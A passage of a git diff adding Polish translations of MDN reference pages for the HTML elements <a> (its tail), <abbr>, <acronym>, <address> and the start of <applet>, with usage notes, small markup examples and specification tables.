+ (<a href="https://code.google.com/p/chromium/issues/detail?id=388666" title="Issue 388666: Focus anchor (A) elements on mousedown">Chromium bug 388666</a>)</td>
+ <td style="background-color: LawnGreen;">Tak</td>
+ <td style="background-color: LawnGreen;">Tak</td>
+ </tr>
+ <tr>
+ <td>Safari 7.0.5</td>
+ <td style="background-color: silver;">Nie dotyczy</td>
+ <td style="background-color: yellow;">Tylko jeśli posiada <code>tabindex</code></td>
+ </tr>
+ <tr>
+ <td>Internet Explorer 11</td>
+ <td style="background-color: LawnGreen;">Tak</td>
+ <td style="background-color: silver;">Nie dotyczy</td>
+ </tr>
+ <tr>
+ <td>Presto (Opera 12)</td>
+ <td style="background-color: LawnGreen;">Tak</td>
+ <td style="background-color: LawnGreen;">Tak</td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Czy stuknięcie w {{HTMLElement("a")}} spowoduje tryb skupienia?</caption>
+ <thead>
+ <tr>
+ <th scope="row">Przeglądarki mobilne</th>
+ <th scope="col">iOS 7.1.2</th>
+ <th scope="col">Android 4.4.4</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>Safari Mobile</td>
+ <td style="background-color: yellow;">Tylko jeśli posiada <code>tabindex</code></td>
+ <td style="background-color: silver;">Nie dotyczy</td>
+ </tr>
+ <tr>
+ <td>Chrome 35</td>
+ <td>???</td>
+ <td style="background-color: yellow;">Tylko jeśli posiada <code>tabindex</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Referrer Policy", "#referrer-policy-delivery-referrer-attribute", "referrer attribute")}}</td>
+ <td>{{Spec2("Referrer Policy")}}</td>
+ <td>Dodano atrybut <code>referrer</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "text-level-semantics.html#the-a-element", "&lt;a&gt;")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "text-level-semantics.html#the-a-element", "&lt;a&gt;")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML4.01", "struct/links.html#h-12.2", "&lt;a&gt;")}}</td>
+ <td>{{Spec2("HTML4.01")}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2>
+
+
+
+<p>{{Compat("html.elements.a")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>Inne elementy zawierające <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Text_level_semantics_conveying_elements">semantykę na poziomie tekstu</a>: {{HTMLElement("abbr")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
+</ul>
diff --git a/files/pl/web/html/element/abbr/index.html b/files/pl/web/html/element/abbr/index.html
new file mode 100644
index 0000000000..0dfe90c52b
--- /dev/null
+++ b/files/pl/web/html/element/abbr/index.html
@@ -0,0 +1,200 @@
+---
+title: '<abbr>: Element Skrótu'
+slug: Web/HTML/Element/abbr
+tags:
+ - Akronim
+ - Definicje
+ - Element
+ - HTML
+ - HTML semantyka na poziomie tekstu
+ - Reference
+ - Web
+ - semantyka
+ - skrót
+translation_of: Web/HTML/Element/abbr
+---
+<p>{{HTMLRef}}</p>
+
+<p><span class="seoSummary"><strong>Element skrótu HTML </strong>(<strong><code>&lt;abbr&gt;</code></strong>) reprezentuje skrót lub akronim; opcjonalny atrybut {{htmlattrxref("title")}} może stanowić rozwinięcie lub opis skrótu.</span> Jeśli występuje, <code>title</code> musi zawierać pełny opis i nic więcej.</p>
+
+<p>Artykuł <em><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Jak oznaczać skróty i uczynić je zrozumiałymi</a></em> jest przewodnikiem do nauki używania <code>&lt;abbr&gt;</code> i elementów pokrewnych.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th>
+ <td><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">Treść płynna</a>, <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Treść frazowania</a>, zawartość zdzieralna.</td>
+ </tr>
+ <tr>
+ <th>Dozwolona zawartość</th>
+ <td><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Treść frazowania</a></td>
+ </tr>
+ <tr>
+ <th>Pominięcie znacznika</th>
+ <td>Brak, zarówno znacznik początkowy jak i końcowy są obowiązkowe.</td>
+ </tr>
+ <tr>
+ <th>Dozwoleni rodzice</th>
+ <td>Każdy element, który akceptuje <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">zawartość frazowania</a></td>
+ </tr>
+ <tr>
+ <th>Dozwolone role ARIA</th>
+ <td>Każdy</td>
+ </tr>
+ <tr>
+ <th>Interfejs DOM</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Ten element obsługuje tylko <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>. Atrybut {{htmlattrxref("title")}} ma specyficzne znaczenie semantyczne, gdy jest używany z elementem <code>&lt;abbr&gt;</code>; <em>musi</em> zawierać pełny opis czytelny dla człowieka lub rozwinięcie skrótu. Tekst ten jest często prezentowany przez przeglądarki jako etykieta pomocnicza, gdy kursor myszy jest zawieszony nad elementem.</p>
+
+<p>Każdy element <code>&lt;abbr&gt;</code>, którego używasz jest niezależny od wszystkich innych; podanie <code>title</code> dla jednego elementu nie załącza automatycznie tego samego rozszerzenia tekstu do innych o tej samej treści.</p>
+
+<h2 id="Uwagi_dotyczące_użycia">Uwagi dotyczące użycia</h2>
+
+<h3 id="Typowe_zastosowania">Typowe zastosowania</h3>
+
+<p>Z pewnością nie jest wymagane, aby wszystkie skróty były oznaczane przy użyciu <code>&lt;abbr&gt;</code>. Jest jednak kilka przypadków, w których jest to pomocne:</p>
+
+<ul>
+ <li>Jeśli używany jest skrót i chcesz zapewnić rozszerzenie lub definicję poza obiegiem treści dokumentu, użyj <code>&lt;abbr&gt;</code> z odpowiednim atrybutem {{htmlattrxref("title")}}.</li>
+ <li>Aby zdefiniować skrót, który może być nieznany czytelnikowi, należy przedstawić termin używając <code>&lt;abbr&gt;</code> oraz atrybutu <code>title</code> lub tekstu liniowego podającego definicję.</li>
+ <li>W przypadku, gdy należy zwrócić uwagę semantycznie na obecność skrótu w tekście, przydatny jest element <code>&lt;abbr&gt;</code>. To z kolei może być użyte do celów stylizacyjnych lub skryptowych.</li>
+ <li>Możesz użyć <code>&lt;abbr&gt;</code> w porozumieniu z {{HTMLElement("dfn")}} aby ustalić definicje terminów, które są skrótami lub akronimami. Zobacz przykład {{anch("Definiowanie skrótu")}} poniżej.</li>
+</ul>
+
+<h3 id="Uwagi_gramatyczne">Uwagi gramatyczne</h3>
+
+<p>W języka z {{interwiki("wikipedia", "grammatical number")}} (czyli w tych językach, w których liczba elementów wpływa na gramatykę zdania), użyj tej samej liczby gramatycznej w atrybucie <code>title</code>, co wewnątrz elementu <code>&lt;abbr&gt;</code>. Jest to szczególnie ważne w językach z więcej niż dwoma liczbami, takich jak Arabski, ale jest również istotne w języku angielskim.</p>
+
+<h2 id="Domyślna_stylizacja">Domyślna stylizacja</h2>
+
+<p>Celem tego znacznika jest jedynie wygoda dla autora i wszystkie przeglądarki domyślnie wyświetlają go w linii ({{cssxref('display')}}<code>: inline</code>), choć jego stylizacja różni się w zależności od przeglądarki:</p>
+
+<ul>
+ <li>Niektóre przeglądarki, takie jak Internet Explorer, nie stylizują go inaczej niż elementu {{HTMLElement("span")}}.</li>
+ <li>Opera, Firefox i inne dodają kropkowane podkreślenie zawartości elementu.</li>
+ <li>Kilka przeglądarek nie tylko dodaje kropkowane podkreślenie, ale także dodaje do nich wariant "small-caps"; aby uniknąć tej stylizacji, dodanie czegoś w rodzaju {{cssxref('font-variant')}}<code>: none</code> w CSS załatwia tę sprawę.</li>
+</ul>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Oznaczanie_skrótu_semantycznie">Oznaczanie skrótu semantycznie</h3>
+
+<p>Aby oznaczyć skrót bez podania rozwinięcia lub opisu, po prostu użyj <code>&lt;abbr&gt;</code> bez żadnych atrybutów, jak widać w tym przykładzie.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Używanie &lt;abbr&gt;HTML&lt;/abbr&gt; jest fajne i proste!&lt;/p&gt;</pre>
+
+<h4 id="Rezultat">Rezultat</h4>
+
+<p>Używanie <abbr>HTML</abbr> jest fajne i proste!</p>
+
+<h3 id="Stylistyka_skrótów">Stylistyka skrótów</h3>
+
+<p>Możesz użyć CSS, aby ustawić własny styl skrótów, jak pokazano w tym prostym przykładzie.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Używając &lt;abbr&gt;CSS&lt;/abbr&gt;, możesz stylizować swoje skróty!&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">abbr {
+ font-variant: all-small-caps;
+}</pre>
+
+<h4 id="Rezultat_2">Rezultat</h4>
+
+<p>Używając <abbr style="font-variant: all-small-caps;">CSS</abbr>, możesz stylizować swoje skróty!</p>
+
+<h3 id="Dostarczanie_rozszerzenia">Dostarczanie rozszerzenia</h3>
+
+<p>Dodanie atrybutu {{htmlattrxref("title")}} pozwala na rozwinięcie lub zdefiniowanie skrótu lub akronimu.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Funkcję rejestru nazw internetowych w domenie .pl pełni &lt;abbr title="Naukowa i Akademicka Śieć Komputerowa"&gt;NASK&lt;/abbr&gt;.&lt;/p&gt;</pre>
+
+<h4 id="Rezultat_3">Rezultat</h4>
+
+<p>Funkcję rejestru nazw internetowych w domenie .pl pełni <abbr title="Naukowa i Akademicka Śieć Komputerowa">NASK</abbr>.</p>
+
+<h3 id="Definiowanie_skrótu">Definiowanie skrótu</h3>
+
+<p>Możesz użyć <code>&lt;abbr&gt;</code> w połączeniu z {{HTMLElement("dfn")}}, aby bardziej formalnie zdefiniować skrót, jak pokazano tutaj.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;&lt;dfn id="html"&gt;&lt;abbr title="HyperText Markup Language"&gt;HTML&lt;/abbr&gt;
+&lt;/dfn&gt; jest językiem znaczników używanym do tworzenia semantyki i struktury strony internetowej.&lt;/p&gt;
+
+&lt;p&gt;&lt;dfn id="spec"&gt;Specyfikacja&lt;/dfn&gt;
+(&lt;abbr title="Specyfikacja"&gt;spec&lt;/abbr&gt;) jest dokumentem, który przedstawia w szczegółach, jak technologia lub API ma funkcjonować i jak wygląda dostęp do nich.&lt;/p&gt;</pre>
+
+<h4 id="Rezultat_4">Rezultat</h4>
+
+<p><dfn><abbr title="HyperText Markup Language">HTML</abbr> </dfn> jest językiem znaczników używanym do tworzenia semantyki i struktury strony internetowej.</p>
+
+<p><dfn>Specyfikacja</dfn> (<abbr title="Specyfikacja">spec</abbr>) jest dokumentem, który przedstawia w szczegółach, jak technologia lub API ma funkcjonować i jak wygląda dostęp do nich.</p>
+
+<p>Zobacz bardziej szczegółowe przykłady w artykule <em><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations">Jak oznaczyć skróty i uczynić je zrozumiałymi</a></em>.</p>
+
+<h2 id="Kwiestie_dostępności">Kwiestie dostępności</h2>
+
+<p>Wypisanie akronimu lub skrótu w całości za pierwszym razem, gdy jest on używany na stronie, jest korzystne, aby pomóc ludziom go zrozumieć, zwłaszcza jeśli treść jest żargonem technicznym lub branżowym.</p>
+
+<h4 id="Przykład">Przykład</h4>
+
+<pre class="brush: html">&lt;p&gt;JavaScript Object Notation (&lt;abbr&gt;JSON&lt;/abbr&gt;) jest lekkim formatem wymiany danych.&lt;/p&gt;
+</pre>
+
+<p>Jest to szczególnie pomocne dla osób, które nie znają terminologii lub pojęć omawianych w treści, dla osób, które są nowe w języku oraz dla osób z problemami poznawczymi.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#edef-ABBR', '&lt;abbr&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2>
+
+
+
+<p>{{Compat("html.elements.abbr")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Używanie elementu <code>&lt;abbr&gt;</code></a></li>
+ <li>Inne elementy zawierające <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Text_level_semantics_conveying_elements">semantykę na poziomie tekstu</a>: {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
+ <li>Przestarzały element {{HTMLElement("acronym")}}, którego obowiązki zostały przeniesione na <code>&lt;abbr&gt;</code></li>
+</ul>
diff --git a/files/pl/web/html/element/acronym/index.html b/files/pl/web/html/element/acronym/index.html
new file mode 100644
index 0000000000..95c271a99f
--- /dev/null
+++ b/files/pl/web/html/element/acronym/index.html
@@ -0,0 +1,81 @@
+---
+title: <acronym>
+slug: Web/HTML/Element/acronym
+tags:
+ - Element
+ - HTML
+ - 'HTML:Treść płynna'
+ - Obsolete
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/acronym
+---
+<p>{{obsolete_header}}</p>
+
+<h2 id="Summary" name="Summary">Podsumowanie</h2>
+
+<p>Element HTML Akronim (<code>&lt;acronym&gt;</code>) pozwala autorom wyraźnie wskazać ciąg znaków, które składają się na akronim lub skrót słowa. Element ten został usunięty w HTML5. Użyj elementu {{HTMLElement("abbr")}}.</p>
+
+<div class="note">
+<p><strong>Uwaga dotycząca użycia: </strong>Ten element został usunięty w HTML5 i nie powinien być już używany. Zamiast tego, programiści powinni używać elementu {{HTMLElement("abbr")}}.</p>
+</div>
+
+<h2 id="Attributes" name="Attributes">Atrybuty</h2>
+
+<p>Ten element ma tylko <a class="new " href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes" rel="internal" title="HTML/global attributes">globalne atrybuty</a>, które są wspólne dla wszystkich elementów.</p>
+
+<h2 id="DOM_Interface" name="DOM_Interface">Interfejs DOM</h2>
+
+<p>Ten element implementuje interfejs {{domxref('HTMLElement')}}.</p>
+
+<div class="note"><strong>Uwaga dotycząca implementacji: </strong>Do Gecko 1.9.2 włącznie, Firefox implementuje interfejs {{domxref('HTMLSpanElement')}} dla tego elementu.</div>
+
+<h2 id="Example" name="Example">Przykład</h2>
+
+<pre class="brush:html">&lt;p&gt;&lt;acronym title="World Wide Web"&gt;WWW&lt;/acronym&gt; jest tylko częścią składową Internetu.&lt;/p&gt;
+</pre>
+
+<h2 id="Default_styling" name="Default_styling">Domyślna stylizacja</h2>
+
+<p>Chociaż celem tego znacznika jest jedynie wygoda dla autora, jego domyślna stylizacja różni się w zależności od przeglądarki:</p>
+
+<ul>
+ <li>Niektóre przeglądarki, takie jak Internet Explorer, nie stylizowały go inaczej niż elementu {{HTMLElement("span")}}.</li>
+ <li>Opera, Firefox, Chrome i inne dodają kropkowane podkreślenie zawartości elementu.</li>
+ <li>Kilka przeglądarek nie tylko dodaje kropkowane podkreślenie, ale także dodaje do nich wariant "small-caps"; aby uniknąć tej stylizacji, dodanie czegoś w rodzaju {{cssxref('font-variant')}}<code>: none</code> w CSS załatwia tę sprawę.</li>
+</ul>
+
+<p>Dlatego zaleca się, aby autorzy stron internetowych nie polegali całkowicie na domyślnej stylizacji.</p>
+
+<h2 id="Specifications" name="Specifications">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#edef-ACRONYM', '&lt;acronym&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Kompatybilność z przeglądarką</h2>
+
+
+
+<p>{{Compat("html.elements.acronym")}}</p>
+
+<h2 id="See_also" name="See_also">Zobacz także</h2>
+
+<ul>
+ <li>Element {{HTMLElement("abbr")}}</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/pl/web/html/element/address/index.html b/files/pl/web/html/element/address/index.html
new file mode 100644
index 0000000000..3b3f050fbd
--- /dev/null
+++ b/files/pl/web/html/element/address/index.html
@@ -0,0 +1,140 @@
+---
+title: '<address>: Element Adresu Kontaktowego'
+slug: Web/HTML/Element/address
+tags:
+ - Adres
+ - Adres Email
+ - Autor
+ - Element
+ - Email
+ - HTML
+ - Informacje Kontaktowe
+ - Kontakt
+ - Reference
+ - Sekcje HTML
+ - Web
+translation_of: Web/HTML/Element/address
+---
+<div>{{HTMLRef}}</div>
+
+<p id="Summary"><span class="seoSummary"><strong>Element HTML <code>&lt;address&gt;</code></strong> wskazuje, że dołączony HTML dostarcza informacji kontaktowych dla osoby lub osób, lub dla organizacji.</span></p>
+
+<p>Informacje kontaktowe dostarczane przez element <code>&lt;address&gt;</code> mogą przybierać dowolną formę odpowiednią dla danego kontekstu i mogą obejmować wszelkie potrzebne informacje kontaktowe, takie jak adres fizyczny, adres URL, adres email, numer telefonu, obsługa mediów społecznościowych, współrzędne geograficzne i tak dalej. Element <code>&lt;address&gt;</code> powinien zawierać imię i nazwisko osoby, osób lub nazwę organizacji, do której odnoszą się dane kontaktowe.</p>
+
+<p><code>&lt;address&gt;</code> może być używany w różnych kontekstach, takich jak podanie informacji kontaktowych firmy w nagłówku strony lub wskazanie autora artykułu poprzez włączenie elementu <code>&lt;address&gt;</code> do {{HTMLElement("article")}}.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th>
+ <td><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">Treść płynna</a>, zawartość zdzieralna.</td>
+ </tr>
+ <tr>
+ <th>Dozwolona zawartość</th>
+ <td>
+ <p><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">Zawartość przepływu</a>, ale bez zagnieżdżonego elementu <code>&lt;address&gt;</code>, bez zawartości nagłówka ({{HTMLElement("hgroup")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}), bez zawartości sekcjonowania ({{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}) i bez elementu {{HTMLElement("header")}} ani {{HTMLElement("footer")}}.</p>
+ </td>
+ </tr>
+ <tr>
+ <th>Pominięcie znacznika</th>
+ <td>Brak, zarówno znacznik początkowy jak i końcowy są obowiązkowe.</td>
+ </tr>
+ <tr>
+ <th>Dozwoleni rodzice</th>
+ <td>Każdy element, który akceptuje zawartość przepływu, ale zawsze z wyłączeniem elementów <code>&lt;address&gt;</code> (zgodnie z logiczną zasadą symetrii, jeśli znacznik <code>&lt;address&gt;</code>, jako rodzic, nie może zagnieżdżać elementu <code>&lt;address&gt;</code>, to ta sama zawartość <code>&lt;address&gt;</code> nie może mieć znacznika <code>&lt;address&gt;</code> jako rodzica.</td>
+ </tr>
+ <tr>
+ <th>Dozwolone role ARIA</th>
+ <td>Brak</td>
+ </tr>
+ <tr>
+ <th>Interfejs DOM</th>
+ <td>{{domxref("HTMLElement")}} Przed Gecko 2.0 (Firefox 4), Gecko zaimplementowało ten element wykorzystując interfejs {{domxref("HTMLSpanElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Ten element uwzględnia tylko <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">atrybuty globalne</a>.</p>
+
+<h2 id="Uwagi_dotyczące_użycia">Uwagi dotyczące użycia</h2>
+
+<ul>
+ <li>Aby reprezentować dowolny adres, taki, który nie jest związany z danymi kontaktowymi, użyj elementu {{HTMLElement("p")}} zamiast elementu <code>&lt;address&gt;</code>.</li>
+ <li>Element ten nie powinien zawierać więcej informacji niż dane kontaktowe, np. data publikacji (która należy do elementu {{HTMLElement("time")}}).</li>
+ <li>Zazwyczaj element <code>&lt;address&gt;</code> może być umieszczony wewnątrz elementu {{HTMLElement("footer")}} bieżącej sekcji, jeśli taki istnieje.</li>
+</ul>
+
+<h2 id="Przykład">Przykład</h2>
+
+<p>Ten przykład pokazuje wykorzystanie elementu <code>&lt;address&gt;</code> do wyznaczenia danych kontaktowych autora artykułu.</p>
+
+<pre class="brush: html"> &lt;address&gt;
+ Możesz skontaktować się z autorem na &lt;a href="http://www.somedomain.com/contact"&gt;
+ www.somedomain.com&lt;/a&gt;.&lt;br&gt;
+ Jeśli widzisz jakieś błędy, proszę &lt;a href="mailto:webmaster@somedomain.com"&gt;
+ skontaktuj się z administratorem&lt;/a&gt;.&lt;br&gt;
+ Możesz również chcieć nas odwiedzić:&lt;br&gt;
+ Mozilla Foundation&lt;br&gt;
+ 331 E Evelyn Ave&lt;br&gt;
+ Mountain View, CA 94041&lt;br&gt;
+ USA
+ &lt;/address&gt;
+</pre>
+
+<h3 id="Rezultat">Rezultat</h3>
+
+<address>Możesz skontaktować się z autorem na <a href="http://www.somedomain.com/contact"> www.somedomain.com</a>.<br>
+Jeśli widzisz jakieś błędy, proszę <a href="mailto:webmaster@somedomain.com"> skontaktuj się z administratorem</a>.<br>
+Możesz również chcieć nas odwiedzić:<br>
+Mozilla Foundation<br>
+331 E Evelyn Ave<br>
+Mountain View, CA 94041<br>
+USA</address>
+
+<p> </p>
+
+<p>Mimo, że renderuje tekst z taką samą domyślną stylistyką jak elementy {{HTMLElement("i")}} oraz {{HTMLElement("em")}}, bardziej odpowiednie jest użycie <code>&lt;address&gt;</code> w odniesieniu do informacji kontaktowych, ponieważ przekazuje on dodatkowe informacje semantyczne.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-address-element', '&lt;address&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sections.html#the-address-element', '&lt;address&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.6', '&lt;address&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2>
+
+
+
+<p>{{Compat("html.elements.address")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>Inne elementy związane z sekcją: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("footer")}}, {{HTMLElement("section")}}, {{HTMLElement("header")}};</li>
+ <li class="last"><a class="deki-ns current" href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Sekcje_oraz_konspekt_dokumentu_HTML5" title="Sections and Outlines of an HTML5 document">Sekcje i zarys dokumentu HTML5</a>.</li>
+</ul>
diff --git a/files/pl/web/html/element/applet/index.html b/files/pl/web/html/element/applet/index.html
new file mode 100644
index 0000000000..dc0e3f6945
--- /dev/null
+++ b/files/pl/web/html/element/applet/index.html
@@ -0,0 +1,74 @@
+---
+title: applet
+slug: Web/HTML/Element/applet
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/applet
+---
+<p>
+</p><p><br>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element <code>&lt;applet&gt;</code> (<code>Applet</code>) wyróżnia włączenie apletu Java. Definicja HTML 4.01 Strict nie zawiera tego elementu, został on wycofany na rzecz <code>&lt;object&gt;</code>.
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<dl><dt>align
+</dt><dd>Ten atrybut jest używany to umieszczenia apletu na stronie względem treści, która może opływać go wokół. Specyfikacja HTML 4.01 definiuje wartości <code>bottom</code>, <code>left</code>, <code>middle</code>, <code>right</code> i <code>top</code>, natomiast Microsoft i Netscape mogą wspierać również <code>absbottom</code>, <code>absmiddle</code>, <code>baseline</code>, <code>center</code> i <code>texttop</code>.
+</dd></dl>
+<dl><dt>alt
+</dt><dd>Ten atrybut powoduje wyświetlenie opisowego alternatywnego tekstu w przeglądarkach, które nie wspierają Javy. Projektanci stron powinni również pamiętać, że zawartość zamknięta w elemencie <code>&lt;applet&gt;</code> również może być wyświetlona jako alternatywny tekst.
+</dd></dl>
+<dl><dt>archive
+</dt><dd>Ten atrybut odsyła do zarchiwizowanej lub skompresowanej wersji apletu i powiązanych z nim plików klas, co może pomóc zredukować czas ładowania.
+</dd></dl>
+<dl><dt>code
+</dt><dd>Ten atrybut określa URL pliku apletu z klasami do załadowania i wykonania. Nazwy plików apletu są identyfikowane przez rozszerzenie pliku <i>.class</i>. URL określony przez <code>code</code> może być relatywny do atrybutu <code>codebase</code>.
+</dd></dl>
+<dl><dt>codebase
+</dt><dd>Ten atrybut daje bezwzględny lub względny URL katalogu, gdzie są przechowywane pliki <i>.class</i> apletu przywoływane przez atrybut <code>code</code> .
+</dd></dl>
+<dl><dt>datafld
+</dt><dd>Ten atrybut, wspierany przez Internet Explorer 4 i wyższy, określa nazwę kolumny z obiektu źródła danych, który dostarcza powiązanych danych. Ten atrybut może być użyty do określenia różnych elementów <code>&lt;param&gt;</code> przekazywanych do apletu Javy.
+</dd></dl>
+<dl><dt>datasrc
+</dt><dd>Podobnie jak <code>datafld</code> ten atrybut jest używany do wiązania danych w Internet Explorer 4. Określa <code>id</code> obiektu źródła danych, który dostarcza danych, które są powiązane z elementami <code>&lt;param&gt;</code>, związanymi z apletem. </dd></dl>
+<dl><dt>height
+</dt><dd>Ten atrybut określa wysokość w pikselach, której potrzebuje aplet.
+</dd></dl>
+<dl><dt>hspace
+</dt><dd>Ten atrybut określa w pikselach dodatkową poziomą przestrzeń do zarezerwowania z dwóch stron apletu.
